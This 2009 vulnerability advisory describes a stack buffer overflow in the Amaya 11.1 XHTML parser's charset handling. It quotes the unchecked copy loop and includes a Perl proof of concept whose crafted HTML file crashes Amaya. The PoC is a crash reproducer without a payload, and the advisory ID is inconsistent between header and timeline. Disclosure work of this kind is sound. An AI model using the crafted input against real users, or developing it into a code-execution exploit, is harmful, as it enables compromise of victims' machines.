#=cicatriz <c1c4tr1z@xxxxxxxxxxxxxxx>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=# /) /) /) _ _ _______(/ ________ // _ (/_ _ _____ _ (/__(_)(_)(_(_(_)(_) (/_(_(_/_) /_)_ o (_)/ (_(_/_ .-/ #=Amaya 11.1 XHTML Parser Buffer Overflow=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# Title: Amaya 11.1 XHTML Parser Buffer Overflow Advisory ID: VUDO-2009-0104 Advisory URL: http://research.voodoo-labs.org/advisories/2 Date founded: 2009-03-30 Vendors contacted: N/A Class: Buffer Overflow Remotely Exploitable: Yes Locally Exploitable: Yes Exploit/PoC Available: Yes #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [+] Amaya 11.1 [+] Amaya 11 Non tested but possible: [*] Amaya 10 #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# Amaya is planning to release a newer version (11.2 snapshot) [1] #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# A stack buffer overflow have been discovered in the Amaya [1] Web Editor's XHTML parser function: ParseCharsetAndContentType(), wich can be used to compromise the victim's system via arbitrary code execution. The overflow occurs when the application process the "charset" type from a crafted HTML page.If the charset has a large amount of chars can lead to a stack buffer overflow and, maybe, be exploited using printable ASCII characters. When the application was debugged, it showed that the overflow occurs in the function "ParseCharsetAndContentType": +++Amaya/amaya/XHTMLbuilder.c 68 void ParseCharsetAndContentType (Element el, Document doc) 69 70 { 71 AttributeType attrType; 72 Attribute attr; 73 ElementType elType; 74 CHARSET charset; 75 char *text, *text2, *ptrText, *str; XXX 76 char charsetname[MAX_LENGTH]; 77 int length; 78 int pos, index = 0; 79 ... 125 126 if (charset == UNDEFINED_CHARSET) 127 { 128 /* the charset is not already defined by the http header */ 129 str = strstr (text2, "charset="); 130 if (str) 131 { 132 pos = str - text2 + 8; 133 while (text2[pos] != SPACE && 134 text2[pos] != TAB && text2[pos] != EOS) 135 charsetname[index++] = text2[pos++]; XXX 136 charsetname[index] = EOS; 137 charset = TtaGetCharset (charsetname); 138 if (charset != UNDEFINED_CHARSET) 139 TtaSetDocumentCharset (doc, charset, FALSE); 140 } 141 } 142 TtaFreeMemory (text2); 143 } 144 } 145 } 146 TtaFreeMemory (text); 147 } 148 } ---Amaya/amaya/XHTMLbuilder.c So, the application creates a buffer called "charsetname" with a length of 1024 bytes and then tries to fill it with the charset type name, skipping the 8 bytes of "charset=", without making any type of length check. If an HTML page has something like this it might produce the overflow: +++ <meta http-equiv="Content-Type" content="text/html; charset="AAAAAAAAAAAAAAAAAAAAAAAA...x1922" /> --- #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# The following perl script creates an HTML file that reproduces the overflow: +++amaya_poc.pl #!/usr/bin/perl -w # [*] Amaya 11.1 XHTML Parser Buffer Overflow POC # [*] C1c4Tr1Z <c1c4tr1z@xxxxxxxxxxxxxxx> ## Copyright (c) 2008-2009 Voodoo Research Group. my $filename="b0f.html"; my $b0f="\x41"x1922; my $vulnerable=qq{ <html> <head> <meta http-equiv="content-type" content="text/html; charset={b0f}"> </head> <body> </body> </html> }; #debug: "gdb -q --args \"/usr/lib/Amaya/wx/bin/amaya_bin\" ./$filename" my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename"; open(HTML, "> $filename") || die "[-] Error ($!). Exiting..\n"; $vulnerable=~s|(\{b0f\})+|$b0f|g; print HTML $vulnerable; close(HTML); print "[+] File $filename created.\n"; print "[+] Setting enviroment variables..\n"; $ENV{'XLIB_SKIP_ARGB_VISUALS'}=1; $ENV{'G_SLICE'}="always-malloc"; print "[+] Executing amaya\n"; sleep(3); exec("clear; $exec"); ---amaya_poc.pl +++console $ perl amaya.pl [+] File b0f.html created. [+] Setting enviroment variables.. [+] Executing amaya * Amaya: Error Irrecuperable ***Segmentation fault $ --- #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [*] 30-03-2009: Bug discovered. [*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the vendor. #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [1] Amaya Project Homepage: http://www.w3.org/Amaya/ #=cicatriz <c1c4tr1z@xxxxxxxxxxxxxxx>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=# #=mié 01 abr 2009 ART=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
